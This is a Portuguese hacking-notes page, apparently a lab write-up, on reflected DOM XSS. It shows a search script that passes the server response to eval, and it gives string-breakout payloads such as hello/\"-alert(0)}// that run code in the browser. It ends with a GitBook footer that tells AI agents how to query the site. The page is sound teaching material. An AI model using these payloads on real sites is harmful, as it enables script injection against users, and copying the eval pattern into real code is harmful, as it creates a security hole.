> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-dom-xss.md).

# XSS DOM Refletido

### DOM XSS refletido

Este laboratório mostra uma vulnerabilidade DOM elaborada. Os dados enviados na query são retornados pelo servidor, então um script do lado do cliente os trata de forma perigosa e os escreve em um `eval`, abrindo a porta para execução de código.

O cliente faz uma requisição AJAX para `path + window.location.search`. Quando a resposta chega, o código é:

```javascript
function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                viewPostButton.innerText = "Ver postagem";
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        backToBlog.innerText = "Voltar ao blog";
        linkback.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}
```

O `displaySearchResults` a função é executada `searchResultsObj` e cria elementos dinamicamente (h1, h2, p, a, img etc.), atribuindo `innerText` para títulos e resumos, mas importante `searchResultsObj` via `eval`.

```javascript
if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
```

<figure><img src="/files/9889e85c513e3846c1f99a0978bd37e3f452b40c" alt=""><figcaption></figcaption></figure>

O uso de `eval('var searchResultsObj = ' + this.responseText)` é crítico: se a resposta controlada contiver texto especialmente formado, é possível quebrar a sintaxe esperada e injetar o código JavaScript que será executado durante a avaliação.

* Envie de volta (ou intercepte) `responseText` contendo o valor de ataque para `searchTerm` ou um campo semelhante.
* Remova da string/literal JSON esperado fechando a estrutura e adicionando código executável, depois neutralize o restante com um comentário (`//`) para evitar erros de sintaxe subsequentes.

<figure><img src="/files/4f1d84822f574c166776282a7fa8ac0e4b0de543" alt=""><figcaption></figcaption></figure>

#### Exemplos de Payloads Testados

(Essas strings devem ser colocadas na parte da resposta refletida — elas mostram como sair da estrutura e executar `alert(0)`)

```javascript
hello/"jordan

hello/"jordan}//
```

<figure><img src="/files/f46d83a28049edcd54948e951bfbf1a57d91cc92" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/532ae65b57e5d476f4aae441c968b72feab3bc80" alt=""><figcaption></figcaption></figure>

Ao injetar uma das strings acima na parte refletida da resposta, o `eval` interpretará a construção modificada e executará `alert(0)`, demonstrando execução de código no lado do cliente via DOM XSS refletido.

```javascript
hello/"*alert(0)}//
```

```javascript
hello/"+alert(0)}//
```

```javascript
hello/"-alert(0)}//
```

<figure><img src="/files/0fc7c6218f4cdffa80bc39c8b4c2e07ba9c2f934" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
